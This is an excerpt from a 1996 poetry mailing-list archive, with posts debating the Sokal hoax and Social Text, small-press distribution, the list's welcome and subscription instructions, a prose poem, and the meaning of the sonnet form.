> *One further brief comment. The issue for us is not realism or any of the other topics which Bhaskar in particular addresses so well. Still less is all of this about Andrew Ross. The question is how how the left, and in particular the academic left, is represented to various publics. That's why I agree entirely with having a second panel on the Sokal adventure, one focused on the left and the media.*
>
> *----------*
> *22 May 1996*
>
> *All Things Considered*
> *National Public Radio*
> *<[redacted]>*
>
> *Dear ATC:*
>
> *Bravo! Encore! Thank you so much for your brilliant critique of the narrow-minded anti-intellectualism of Gross and Levitt~s The Higher Superstition (All Things Considered, May 15). No fan of Derrida and company, I was nevertheless thrilled by your ruthless depiction of those who would, in the name of reason, refuse to engage their writings in a reasonable manner.*
>
> *Your ~Sokal~ is without doubt the most engaging parody of the reactionary academic type since Saul Bellow~s crotchety classics professor ~Bloom~ appeared on the scene about a decade ago. It is clearly this character, ~Sokal,~ who provides the cutting edge of your Swiftian satirical spoof. His arrogance (~I deal with the real world every day~~as we non-physicists don~t); his pompous demeanor (witness the tone of voice with which he read passages from non-fictional*

scholars such as Derrida); his self-righteousness (as he declares himself a leftist and feminist, for instance); his naivete (in believing that cooperating in the production of a fluffly ~man bites dog~ type of story somehow advances the causes of science and the left); his ignorance (as if Social Text claimed to be edited in the manner of a science journal, or even to be a juried journal); his disarming simple-mindedness (a well-written 19th century parody of Darwin would not necessarily have been false, after all~even by ~Sokal~s~ own presumed standards of argument)....the details of your characterization are absolutely stunning.

Furthermore, your characterization of ~Sokal~ is remarkably consistent. For instance, his substitution of a flimsy rhetorical question (~What the hell does [Derrida] mean?~) for a carefully-argued position reflects the irrationality of his overall position, since, as he refuses to really argue with his chosen antagonists, ~Sokal~ demonstrates that it is actually he who disrespects reason even as he claims to speak in its name. Thus, you expose the underlying contradiction of the position which rejects critiques of science in sweeping terms: for in defensively mocking those who study or would study the venerable institution of science, ~Sokal~ mystifies science and destroys the critical spirit that true science requires. ~Sokal~s~ commitment is not to the practice of science, which is indeed exemplified especially well in the best critical studies of science, but rather to the unquestioned authority of an idol of science (which, like any deity, is not to be looked at too carefully).

The actor portraying ~Sokal~ certainly brought to life the figure who has filled the pages of Social Text, Lingua Franca, and The New York Times. However, the performance of the actor playing the snickering journalist was just as good, and perhaps even more subtle. For this fictional journalist never even claimed to have attempted to contact the editors of Social Text. In failing to adhere to basic standards of journalistic objectivity as he ~reports~ (in the midst of his own Rush Limbaugh-style laughter) on the lack of objectivity allegedly possessed by social and cultural critics of science, the "journalist" character ironically undermines his own position. Well done!

I do have one concern, however. Since in this case you dropped the ~satire from~ tag that you attach to the work of the likes of Harry Shearer, I suspect that some listeners may have been taken in by your hoax. Unable to appreciate the joke, on the basis of the May 15 show and others like it they may conclude that your programming now more than ever resembles that of the commercially-sponsored corporate media; in particular, they might reason that a piece such as yours serves, in the end, to trivialize the entire debate about science, the institution of the university, and indeed the very notion of truth. Why then aid your underwriters in keeping you on the air? they may ask. Good humor

> *may not be for all of us, all the time.*
>
> *Very sincerely yours,*
>
> *Joel Woller*
> *Carnegie Mellon University*
> *Department of English*
> *Program in Literary and Cultural Theory*

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514. Lisa Samuels
Sokal responds (fwd)
Fri 24 May 1996

---

more on the matter --

ls

According to Michael Uebel:
> From root Fri May 24 18:26:31 1996
> Date: Fri, 24 May 1996 18:25:41 -0400
> From: Michael Uebel <[redacted]>
> Message-Id: <[redacted]>
> X-Mailer: Mail User's Shell (7.2.5 10/14/92)
> To: [redacted]
> Subject: Sokal responds
>
>
> >From Alan Sokal:
>
> Here's the latest news from the NY Times: After giving
> Stanley Fish 38 column inches (not including graphics) to
> misrepresent my views, and giving Bruce Robbins and
> Andrew Ross an additional 4 column inches to restate their
> own views and mildly misrepresent mine, the NYT letters
> editor (Kris Wells, [redacted]) has refused to print my
> 12-column-inch reply. She said I could have only 7.3 column
> inches. Since such drastic compression would make a
> travesty of my letter, I refused.
>
> Here, for your interest, is the letter the NYT refused to
> print.

> Feel free to distribute it.
>
> Best, Alan Sokal
>
>
> To the editor:
>
> It's not every day that a mere theoretical physicist such as
> myself has the honor of being subjected to a half-page
> personal attack by the august Stanley Fish ("Professor
> Sokal's Bad Joke", May 21). Fortunately, his allegations
> can be refuted in far fewer words.
>
> Fish implies that I am opposed to all sociology of science,
> and that I fail to understand the elementary distinction
> between sociology of science and science. Give me a break!
> I have no objection whatsoever to sociology of science,
> which at its best can clarify the important political and
> economic issues surrounding science and technology.
> My only objection is to _bad_ sociology of science ---
> numerous examples of which are praised (!) in my parody
> article in the spring/summer 1996 issue of _Social Text_.
>
> Fish's discourse on the "social construction" of science and
> baseball is amusing, but the situation can be stated much
> more simply. The laws of nature are not social constructions;
> the universe existed long before we did. Our theories about
> the laws of nature are social constructions. The goal of
> science is for the latter to approximate as closely as
> possible the former. Fish seems to agree.
>
> Unfortunately, not everyone in the trendy field of
> "cultural studies of science" agrees.
> In a lecture at the New York Academy of Sciences
> (February 7, 1996), _Social Text_ co-editor Andrew Ross
> said: "I won't deny that there is a law of gravity.
> I would nevertheless argue that there are no laws in
> nature, there are only laws in society. Laws are things
> that men and women make, and that they can change."
> [verbatim quote in my notes]
>
> What could Ross possibly mean? That the law of gravity

> is a social law that men and women can change?
> Anyone who believes _that_ is invited to try changing
> the laws of gravity from the windows of my apartment:
> I live on the twenty-first floor.
>
> Now, perhaps all Ross means is that our
> _understanding_ of the laws of physics changes over
> time; but if that's what he meant, why didn't he say so,
> and what's the big deal?
>
> Granted, not even the _Social Text_ editors would deny
> the existence of an external world, or claim that
> "physical `reality' \ldots\ is at bottom a social and
> linguistic construct." The fact remains that they
> published an article saying exactly this
> in its first two paragraphs. And despite my repeated
> requests during the editorial process for substantive
> comments, suggestions and criticisms, none were ever
> received, just an acceptance letter.
>
> Concerning my ethics, this issue is treated in detail in
> my article in the May/June issue of _Lingua Franca_, so
> I won't repeat it here. Suffice it to say that there is a
> long and honorable tradition, going back at least to
> Jonathan Swift, of truth-telling through satire.
> Doesn't Fish have a sense of humor?
>
> My goals, however, are utterly serious.
> I'm a leftist and a feminist and proud of it;
> I'm angered by a shoddy "scholarship" that claims to be
> left-wing but in fact, through its sophistry and
> obscurantism, undermines the prospects for progressive
> social critique. Like innumerable others from diverse
> backgrounds and disciplines, I call for the left to reclaim
> its Enlightenment roots.
>
> But let me now shut up:
> far better to give voice to the humanists and social
> scientists who have been flooding my e-mail for the
> past two weeks, expressing relief that the nakedness
> of their local emperors has finally been exposed.
> Let's hear their stories about the debate that is now

> opening up.
>
> Sincerely,
>
> Alan Sokal
>
>
>

↑ Index

515. George Bowering
Re: Soaps
Sat 25 May 1996

> *Kevin,*
>
> *You are right to point out that baseball players are huge soap fans.*
>
> *Thank you for your support.*
>
> *Bill*

And taking my mother as typical (and what else could she be?), I have to point out that she has been watching (I think it is) "The Edge of Night" (either that or "As the World Turns" AND the Montreal Expos on TV for 25 years.

.....
"Stupidity is not my strong point."
--Valery

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

516. Marjorie Perloff
Re: interesting/boring journals
Sat 25 May 1996

I do agree with Ron, of course, that literary journals are much better, livelier, etc. if they have a point of view. But journals like Sulfur, Language, Poetics Journal, Talisman, etc etc. aren't sponsored by university presses, don't pretend

to be run by an "editorial collective" and all that. When a journal is a kind of house organ at a particular university (e.g., Critical Inquiry, New Literary History, Diacritics), with a board made up of people both within and without said university, then there's some responsibility to reach out and include unknowns who might just submit a brilliant article. What I objected to was Ross's saying that all the articles in sT are invited, commissioned. That seems to me not Kosher. And when he went on to say that, hey, Alan Sokal was someone "we didn't even know," as if, well, then he must be some suspicious type, I do cringe.

Incidentally, at U-Wash, where I just spent a delightful two days at a Comp Lit colloquium, a grad student finally gave me the Sokal article and I think it's even more amazing than I would have believed. Fabulously done and utterly devastating. He is constantly praising Ross and Aronowitz and subtly working in their statements into his physics rap. It is truly in line with Swift etc.--a brilliant piece of work. Read it!

Marjorie Perloff

↑ Index

517. Charles Alexander
presses in Ireland?
Sat 25 May 1996

Dear Poetics List-ers:

A question came up on a book arts list, wondering about small presses & private presses & related activity in Ireland. If anyone here knows of such activity and where to find it, please post information to me ([redacted]) so I can forward it to that list and help some travelers. This would include small literary & non-literary presses, particularly (but not limited to) any doing letterpress printing, binding, etc.

thank you.

charles alexander
[redacted]

↑ Index

518. george hartley
orono in June?
Sat 25 May 1996

Would someone please send me registration & rooming info for June's poetry conference at Orono? I just heard about it last week. Anyone sharing rooms?

Thanks, George Hartley
[redacted]

↑ Index

519. **Aldon L. Nielsen**
Re: reading Sokal in SoCal
Sat 25 May 1996

---

thanks for reproducing the Sokal letter -- this makes one thing stand out clearly --

Ross says that the ST editors tried to get some changes made in the article, and that the author refused to make such changes --

Sokal says that he asked for editorial advice, but that all he received was an acceptance letter --

One need not adhere to a correspondence theory of truth to recognize that at least one of these letters is wildly misleading --

this much is serious indeed and ought to be aired in public

↑ Index

520. **Joel Kuszai**
David Wilk
Sat 25 May 1996

Does anyone out there in poeticsLand have any current info on David Wilk: where to reach, if available, & is there a David Wilk and/or Truck archive--

thanks-

↑ Index

521. **Charles Alexander**
Re: David Wilk
Sat 25 May 1996

> *Does anyone out there in poeticsLand have any current info on David Wilk: where to reach, if available, & is there a David Wilk and/or Truck archive--*
>
> *thanks-*

Joel

David Wilk, after Truck and after his stint as head of Literature at the NEA, in about 1982 or 83 founded Inland Books in East Haven, Connecticut. I heard

that Inland within the last year has been through one or another stage of bankruptcy proceedings and has been to some degree reconstituted as Inbooks (perhaps spelled InBooks?). As Inland, and continuing as InBooks, they distribute some small press literary books. I didn't have good luck with them for Chax books, and discontinued sending them books several years ago. When I began making books, however, David Wilk was immensely helpful to me, and I wish him very well. I have two addresses, but remember, both of them are some years old, and you might want to find some directory which is more current. But here they are:

P.O. Box 120261
East Haven, CT 06512
[redacted]

and/or

140 Commerce Street
East Haven, CT 06512

As far as any Truck archive goes, I'd certainly suggest asking David Wilk. As a journal, I'm not certain when Truck published its last issue. As a distributor (Truck Distribution), when David Wilk went to the NEA in the late 1970's he sold Truck Distribution (reportedly for a cup of coffee, but perhaps that's apocryphal) to Jim Sitter, who re-named it as Bookslinger. When the ten or so best-selling, largest producing presses pulled out of the non-profit Bookslinger in the late 1980's (my chronology is by memory here) to go with the for-profit Consortium Book Sales & Distribution, which was begun by someone leaving Bookslinger & attracting those presses away, Bookslinger hung on with difficulty only due to the hard-working and much-caring hands of Rod and Hanje Richards, but finally went under in 1993. With the increasing professionalization of distribution for a dozen or so of the biggest small presses in the country, and the nearly simultaneous demise of Bookslinger and Segue Distribution, most small press distribution was left to SPD. And while I like SPD, in general small press distribution was in much better shape 10 or 15 years ago than it is now, except for the very largest of the small presses. There are many reasons for this, including the demise of indepent booksellers, the rise of chain book superstores, the difficulties of funding for distribution, general trends in the economy, and more.

But this is more than you asked for. Good luck tracking down David Wilk.

charles

↑ Index

522. **Robert J Wilson**
:re: spanos/post-spanos b2
Sun 26 May 1996

Dear Mark Wallace, I am taking the liberty to write to you out of the (internet) blue after I saw your comment on the Buffalo "poetics" list re the way *boundary 2* journal, in past ten years post-Spanos, has moved away from experimentation of form/tone/genre/language game in the editorial shift from Spanos to Bove as main editor. You do have a clear-hitting case, and perhaps with C Bernstein editing a special issue of b2 in the near future with an array of interviews and poetic/poem materials, there can be a chance of reclaiming some of this language area. But more more should be done on many fronts re the ongoing reinvention of scholarly/theory/poetics form of discourse in USA outlets. The journal is much too Northeastern/Atlanticist in its problematics as well

When I coedited a special issue of b2 on"Asia/Pacific as Space of Cultural Production," I used some pidgin and indigneous language poems and some Pacific cultural works in nonstandard genres (fiction/"Our Sea of Islands" theory by Hauofa) not only because it reflected key cultural work out in postmodern Pacific but because (invoking the Spanos precedent), we could reclaim and reimagine some of those language territories and moves. The "slick and professional emptiness of Paul Bove" that you indict may be a function of how the collective is constituted now and what it sees as professional and cultural work. The collective has its own tensions and devisions re what constitutes "an international journal of postmodern culture" and literary-critical work.

There seems to be almost little to no interest in poetry there anymore, but there is a really interesting packet of materials in next b2 on the Ho Chi Mih "Prison Diary" poems, showing how cannily critical of Vietnames transnationalization he was, and using translation forms (by Steve Bradbury) that expose the ideology of form ("American free verse") of prior translations (done, for the most part, not from the Chinese but the French).

A lot of the stuff is impossibly repetitive, stale, miming the careerist codes, so I do appreciate your scathing critique re the "tone locked" academic form of the essay even b2 has become reified into. Need to push on that in ways that Bernstein's "A Poetics" inventively, heteroglossically, and courageously opens up even in a deadwood press like Harvard UP american poetics. Take care, Rob Wilson

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523. Tony Green
Re: refereed, non-refereed?
Sun 26 May 1996

Good one, Mark Wallace!

Tony Green,
e-mail: [redacted]

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524. Mark Roberts
Readings/Lit scene in Auckland
Mon 27 May 1996

Dear Poetics people (especially those in New Zealand)

I received the following post to the AWOL address the other day and I was wondering if anyone can help with some information. You can backchannel me at [redacted] or [redacted] with info and I will pass it on. Many thanks

> *From: [redacted] (Dennis Schofield)*
> *Subject: request for info re New Zealand*
> *X-Sender: [redacted]*
> *To: [redacted]*
> *MIME-version: 1.0*
>
> *Dear Mr Roberts,*
> *I've just been given AWOL's email address as a group that may be able to provide me with some information regarding Auckland's lit scene. I'm trying to put myself in contact with any groups over there that have regular readings, and wondered if you might know of any, or know of somebody else who might. I'm planning to be in Aukland for a week early in July, and although it isn't something that comes naturally to me, I thought that while I'm over there I should put in a bit of self-promotion. My novel, Slackwire, was published by Fremantle Arts Centre Press last year, and being the smallish press that they are, they don't have much of a promotional budget (they tell me). So I was hoping to get brave and give the book a bit of an airing myself while in Auckland. I haven't yet, though, been able to find anyone who can put me in contact with Auckland's local lit groups. I'm hopeful, then, that you may be able to help me.*
> *Thanks for your time, and hoping to hear from you,*
> *Dennis Schofield.*
>
> *email: [redacted]*

Mark Roberts
Student Systems Project Officer

Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

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525. **Poetics List**

Welcome Message

Mon 27 May 1996

Rev. 5-16-95

Welcome to the Poetics List

&

The Electronic Poetry Center

sponsored by The Poetics Program, Department of English, Faculty of Art & Letters, of the State University of New York, Buffalo

---

http://writing.upenn.edu/epc

_____Contents_____

1. About the Poetics List
2. Subscriptions
3. Who's Subscribed
4. Digest Option
5. When you'll be away
6. The Electronic Poetry Center (EPC)
7. Poetics Archives at EPC
8. Publishers & Editors Read This!

[This document was prepared by Charles Bernstein ([redacted]. edu) and Loss Pequen~o Glazier ([redacted]).]

---

1. About the Poetics List

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of

the list small and the volume manageable. Word-of-mouth (and its electronic equivalents) seems to be working fine.

The "list owner" of Poetics is Charles Bernstein: contact me for further information. As of May, Joel Kuszai is working with me to administer the list. For subscription information contact us at [redacted]

---

2. Subscriptions

line, to:

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your name to unsub)

We will be sent a notice of all subscription activity.

*

If you are having difficulty unsubscribing, please note:

Sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to send messages to mail. To avoid this, unsub from the old address and resub from the new address. If you can no longer do this there is a solution if you use Eudora (an e-mail program that is available free at sharewar sites): from the Tools menu select "Options" and then select set-up for "Sending Mail": you can substitute your old address here and send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increase from your system administrator. (You may wish to argue that this subscription is part of your scholarly communication!) You may also wish to consider obtaining a commercial account.

---

3. Who's Subscribed

To see who is subscribed to Poetics, send an e-mail message to blank. In the body of your e-mail message type:

review poetics

You will be sent within a reasonable amount of time (by return e-mail) a rather long list containing the names and e-mail addresses of Poetics subscribers. This list is alphabetized by server not name.

---

4. Digest Option

The Poetics List can send a large number of individual messages to your account to each day! If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option. Send this one-line message (no subject line) to
[redacted]

set poetics digest

NOTE:!! Send this message to "listserv" not to Poetics or as a reply to this message!!

You can switch back to individual messages by sending this messagage:

set poetics mail

---

5. When you'll be away

Do not leave your Poetics subscription "active" if you are going to be away for any extended period of time! Your account may become flooded and you may lose not only Poetics messages but other important mail. You can temporarily turn off your Poetics subscription by sending a message:

You can temporarily turn off your mail by sending a message:

set poetics nomail

& turn it on again with: set poetics mail

When you return you can check or download missed postings from the Poetics archive. (See 7 below.)

---

6. What is the Electronic Poetry Center?

our URL is

http://writing.upenn.edu/epc

The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center provides access to the burgeoning number of electronic resources in the new poetries including RIF/T and other electronic poetry journals, the POETICS List archives,

an AUTHOR library of electronic poetic texts, and direct connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets' reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequen~o Glazier.

---

7. Poetics Archives via EPC

Go to the EPC and select Poetics from the opening screen. Follow the links to Poetics Archives. You may browse the archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

Or set your browser to go directly to:
http://writing.upenn.edu/epc/poetics/archive

---

8. Publishers & Editors Read This!

PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible to our users and ENCOURAGE you to participate! Send a list of your press/publications to [redacted] with the words EPC Press Listing in the subject line. You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If your word processor ill save files in Rich Text Format (.rtf) this is also highly desirable

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs/backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

Initially, you might want to send short anouncements of new publications directly to the Poetics list as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication

and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME

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526. **Michael Coffey**
David Wilk -Reply
Mon 27 May 1996

---

joel kuszai wrote:

Does anyone out there in poeticsLand have any current info on David Wilk: where to reach, if available, & is there a David Wilk and/or Truck archive--

thanks-

david's inland books (a wholesaler of alternative press books), alas, has gone bankrupt, but a small distribution outfil that sprang out of it, inbook, has survived, in that it was purchased by login, a distributor based in chicago, and david, has gone along with it (although i'm not sure if he relocated to chicago or not); login can be reached at Login Brothers Book Co., 1436 Randolph St, Chicago, Ill. 60607; phone [redacted]; and they will put you in contact with david.

if this doesn't turn him up, give me a call and i'll check some publishing industry directories for updated numbers etc.

michael coffey
[redacted]

or [redacted]

↑ Index

527. **Michael Coffey**
presses in Ireland? -Reply
Mon 27 May 1996

---

dear charles alexander:

an introduction to what's happening in ireland can be found in the march issue of American Bookseller, the publication of the american booksellers association; i'm sure they would fax you the article if you called them at [redacted]

or ask for Dan Cullen, the managing editor there, who fancies himself an Irishman.

i do a lot of reading in irish poetry; it's a fabulour pasttime for many reasons, but one of which is that the place of poetry in ireland is almost a metaphor for expression in a cultural/historical context: it is a neat metaphor, by which i mean ireland can be grasped, the tradition is small, workable; and continues with a certain focus (there are only 3 million people in ireland); it has an original bardic history (poetry in irish bing perhaps the oldes vernacular spoken art in europe) and has its language of the victor, english, making language a particulary bloody site of cultural conflict. and ireland, being the wessternmost outpust of eurpoean civilication is still (relatively) unchanged racially and culturally (though my no means unchanged).

one way i keep in touch with books irish is through a website from kennys bookshop in galway; they will send you monthly postings of new books and you can order from them.

Please direct all orders/queries to Aine O'Connor at [redacted]

Kennys Bookshop & Art Galleries Ltd., High Street, Galway, Ireland Tel + 353.91.562739 Fax + 353.91.568544 Email [redacted]

Check out the March issue of The Kenny Review, our on-line newsletter at:- http://www.iol.ie/kennys/Review.html

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528. **Rod Smith**
Re: David Wilk
Mon 27 May 1996

I'm almost positive that David Wilk's not to be found at the addresses Charles A. posted. The Inland bankruptcy was completed a few months ago. The new outfit (it actually existed before the ruptcy), InBook, operates through Login publishers-- Wilk may or may not still be connected w/ that. I'll see what I can find out.

Rod

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529. **Aldon L. Nielsen**
Re: Sokal in SoCal II
Mon 27 May 1996

Today's _L.A. Times_ wieghs in on the _Social Text_ scandal, managing to codescend to all parties at once -- Identifying Stanley Fish as "the publisher" of the journal (apparently because the _N.Y. Times_ identified him as the exec. dir. of Duke U P). Having insulted everybody, they agree with Fish: "The field of cultural studies may be sluggish in making progress, it may need to bone up on

Strunk & White's "Elements of Style" and it may have wasted too much energy on such pursuits as studying the genesis of Tupperware. But given the cultural misunderstandings that continue to surround us at home and abroad, surely we can see the importance of its mission as defined by Fish:"

There you have it -- cultural studies as diversity management!

And one can't help but wonder what Strunk and White would have to say about that image of "the field of cultural studies" boning up on their manual -- just how does a field bone up?

To round things out, this editorial is followed by another that concludes: "No one is suggesting that universities make their best reseachers teach intorductory chemistry or physics." Of course, if that did happen, perhaps a few more professors in our field would realize that Pi is not a variable.

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530. Aldon L. Nielsen
Re: Bob Kaufman in SoCal
Mon 27 May 1996

The last session of the American Literature Association conference in San Diego will include a panel on Bob Kaufman -- If you're in San Diego and interested, come on by the Bahia --

Rae -- did you ever get the schedule? If not, call me at [redacted] & I'll give you info. over the phone --

Kaufman session is Sunday morning, by the way --

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531. Alan Sondheim
Poem of Weeping Ghosts in Sonnet Form
Mon 27 May 1996

The Poem of Weeping Ghosts

I wept because I had no shoes until I dreamed a man who had a tree. A rolling tree groped its way past stubbed branches yearning in the night. A stitch in branches sutured the soul to its repeated self. Give them their tired wounds yearning for repetition saving nine. I can be led to runes; I can scoop them up. Runes heal all wounds of selves repeated branches scraping sky. Skies repeat skies as definitions of neurosis you can't tell to stop. The world's neurotic with you; the world's psychotic alone. Beneath the sun, the silent world is all there is. Within the silent world a tree falls silently weeping. Time makes the hearts of trees fall groping. The weeds are always groping on the other side of the

fence. There, silently weeping, I sit shoeless on the wrong side of the tracks. There, by Albion, silently being born.

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532. Rod Smith
Re: eniacs
Mon 27 May 1996

this is Rid speaking:

My main point, & this is where the defense of Ross comes in-- The "point" of Ross's last book can be summed up thusly-- that corporate culture operates out of the assumption that there isn't enough to go around. It seems more than reasonable to question this assumption. As long as "the game wins" most of us won't. This is what you won't find much, or any discussion of at NYT & co. So given the relative power of Social Text vs the times it's important, I think, to ask why _this_ issue for the Times & not another.

The discussion on this list so far wld not be that different had the Sokal story been on the cover of AWP.

May 24th A.L. wrote:

I normally would agree with Rid that Andrew does good work, etc. -- BUT, if what he says in the first two paragraphs of his response is an accurate reflection of the real discussion among the editorial board of his journal, then the journal should damn well go out of business -- How can anyone justify publishing an article that they believe is inadequate (meanwhile, I prseume, rejecting any number of quite interesting and well-constructed unsolicited essays [try "presume"] from non-physicists) is beyond me --

On the other hand, I cannot understand why blind editorial review should be considered obnoxious -- If it were not for blind review (the VERY FEW places where the blindness is real, and not an editorial fig leaf) those of us who do not happen to have gone to graduate school with the editors would be out in the cold forever --

Take a gander, by the way, at the list of people who got tenure track jobs in English departments that appears in the back of the same issue of _Lingua Franca_ -- The message this list seems to convey to prospective grad. students is that you'd better go to one of the big power schools like UCLA or Yale if you want to get a job when you graduate --

Rod, sorry about that "Rid" -- and to everybody, sorry about the grammar above -- can't use cursor keys to back up and make corrections -- whoever designed the interface between DOS and MAC applications for e-mail must have been malicious or stupid --

employed and blindly yours,
a.l.nielsen

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533. Charles Alexander
publications & rights
Mon 27 May 1996

---

dear poetics listers:

I received the text of the following message on another list, but thought it might be at least a tangent to the poetics list discussion of refereed/unrefereed journals. Plus i'd be curious -- are academic literary journals and/or anthologies and/or collections these days generally demanding agreements like this message describes?

charles alexander
chax press
[redacted]

> *Yesterday (Saturday) I received page proofs for an article which had been requested by the editors of an international journal about the middle ages.*
>
> *Included was a "Letter of Agreement" from the university press which will publish this journal. Short and too the point, it states:*
>
> *"The undersigned author hereby grants and assigns to _____ University Press the copyright and all publication and subsidiary rights in his/her contribution to _____, edited by _____ and _____ ."*
>
> *Absent from the page proofs was the copyright symbol which accompanied the manuscript.*
>
> *This concerned me. I e-mailed the senior editor that all I was willing to grant was first North American serial rights (meaning that while they may copyright the whole issue, as an issue, I will retain copyright [property right] in my contribution).*
>
> *The editor is concerned that this may not be negotiable. On Tuesday the press in question should be open for business (!) again and we will see.*

> *If the terms are not negotiable, neither am I. It's a life.*
>
> *Jack*
>
> *Jack C. Thompson*
> *Thompson Conservation Laboratory*
> *The Caber Press * Istor Productions*
> *Portland, OR 97217*
> *503/[redacted] (voice/fax)*
> *[redacted] * [redacted]*
> *http://www.teleport.com/~tcl/index.html*
>
> *"Is a half-wit herbalist only parseley sage?"*
> *Don Guyot, 1996*

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534. **Michael Heller**
Re: San Diego Reading
Mon 27 May 1996

MICHAEL HELLER READING AT PORTER TROUPE GALLERY

301 SPRUCE STREET

SAN DIEGO

SATURDAY, JUNE 1ST AT 2 PM

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535. **Pierre Joris**
query
Tue 28 May 1996

Does anyone on the list have the snail-mail address of Victor Hernandez Cruz? Please backchannel, if possible. Mercy buttercups -- Pierre

========== Pierre Joris | "Form fascinates when one no longer has the force Dept. of English | to understand force from within itself. That SUNY Albany | is, to create." -- Jacques Derrida Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]| ==========

On Mon, 27 May 1996, Charles Alexander wrote:

dear poetics listers:

I received the text of the following message on another list, but thought it might be at least a tangent to the poetics list discussion of refereed/unrefereed journals. Plus i'd be curious -- are academic literary journals and/or anthologies and/or collections these days generally demanding agreements like this message describes?

charles alexander
chax press
[redacted]

Yesterday (Saturday) I received page proofs for an article which had been requested by the editors of an international journal about the middle ages.

Included was a "Letter of Agreement" from the university press which will publish this journal. Short and too the point, it states:

"The undersigned author hereby grants and assigns to _____ University Press the copyright and all publication and subsidiary rights in his/her contribution to _____, edited by _____ and _____ ."

Absent from the page proofs was the copyright symbol which accompanied the manuscript.

This concerned me. I e-mailed the senior editor that all I was willing to grant was first North American serial rights (meaning that while they may copyright the whole issue, as an issue, I will retain copyright [property right] in my contribution).

The editor is concerned that this may not be negotiable. On Tuesday the press in question should be open for business (!) again and we will see.

If the terms are not negotiable, neither am I. It's a life.

Jack

Jack C. Thompson
Thompson Conservation Laboratory
*The Caber Press * Istor Productions*
Portland, OR 97217
503/[redacted] *(voice/fax)*
[redacted] * [redacted]
http://www.teleport.com/~tcl/index.html

> *"Is a half-wit herbalist only parseley sage?"*
> *Don Guyot, 1996*

↑ Index

536. **Henry Gould**
Re: blindness and inside
Tue 28 May 1996

On Fri, 24 May 1996 12:09:28 -0500 Jordan Davis said:
>Please forgive me riding my hobby-horse

Va bene. Sta bene.
>
>So then an end
>is to include the
>poem in the poem

E una relazione etica - veramente concreta e DonJuan Castanedica.
>
>Is that possible or even desirable

Si e possibile ma e troppo difficile per me - scuzi.

> *Are we meant to figure out the criteria for possibility*
> *Or are we arguing out of necessity*

E un questione di le due fondazione della realta: la giustizia e il miracolo (o lo scandalo - le due sono uno).

> *Is this side of things about definite v indefinite*
> *as opposed to the popular idea that it is about object v subject*

Scuzi - ma il motor-scooter Americanski - c'e a vuoi? E - perche?
>
>What is it you are saying about this politic

La politica e una questione solo per le prigioniere. No - e per tutto - ma le prigioniere provisano il... come sei dice... "the answer" - Enrico Gouldini

↑ Index

537. **Annie Finch**
Re: Poem of Weeping Ghosts in Sonnet Form
Tue 28 May 1996

If the weeping ghosts poem is a sonnet, then what does sonnet mean? Apparently a poem in 14 lines and/or a poem that its author chooses to call a sonnet. IS it good and useful for poetics as a field to ahve its terminology become SO open in meaning that a term like sonnet ceases to carry much information?

By the way, after much thought, and largely in response to the passioante and fascinating debate we inspired on this list, Kathrine (coeditor) and I have decided we want to open the forms anthology to any experimental forms,not just chants and others that repeat the typical language elements, but any, ANY, so Iv so i reiterate the earlier request for people to edit sections (CONSISTING of a brief intro describing how the form works and several pages (5-6?) of represe ntative examples of the form). PLEASE, contact me to propose such sections on any form you desire to work with. IN response to the previous request, I got three sestinas(!) and nothing else--but we would really like someone(s) to edit sections on forms we haven't thought of before, even forms that may not be formal by the "conspicuous repetition" definition. So please come forward--I'll send you detailed guidelines when I hear from you.

Annie Finch
ph [redacted]

Af maons on ansand fo teh lpes21
wot knesli

↑ Index

538. **Steve Carll**
Nonset Form
Tue 28 May 1996

At 09:34 AM 5/28/96 -0500, Annie Finch (hi Annie, haven't seen you since New College days!) wrote:

> *IS it good and useful for poetics as a field to have its terminology become SO open in meaning that a term like sonnet ceases to carry much information?*

Yes, it is. If the term sonnet tells you too much about what to expect in the poem, the poem itself becomes superfluous. Why read another bloody sonnet if it's just going to do exactly the same as all the other sonnets? The word sonnet is always going to carry some information, why not play with that, stretch the boundaries of possibility?

I'm not at all anti-form, but when I work in one, I want the form and myself to TRANSform each other.

Alan, "Weeping Ghosts" is a beautiful poem. Thank you for posting it.

||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
``````````````````````````````````````````

Steve Carll [redacted]

I listen.
I hear nothing. Only
the cow, the cow
of nothingness, mooing
down the bones.
~~Galway Kinnell
``````````````````````````````````````

||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||

↑ Index

539. **David Kellogg**
***Re: interesting/boring journals***
*Tue 28 May 1996*

---

On Fri, 24 May 1996, Marjorie Perloff wrote:

> *journals like Sulfur,*
> *Language, Poetics Journal, Talisman, etc etc. aren't sponsored by*
> *university presses, don't pretend to be run by an "editorial collective"*
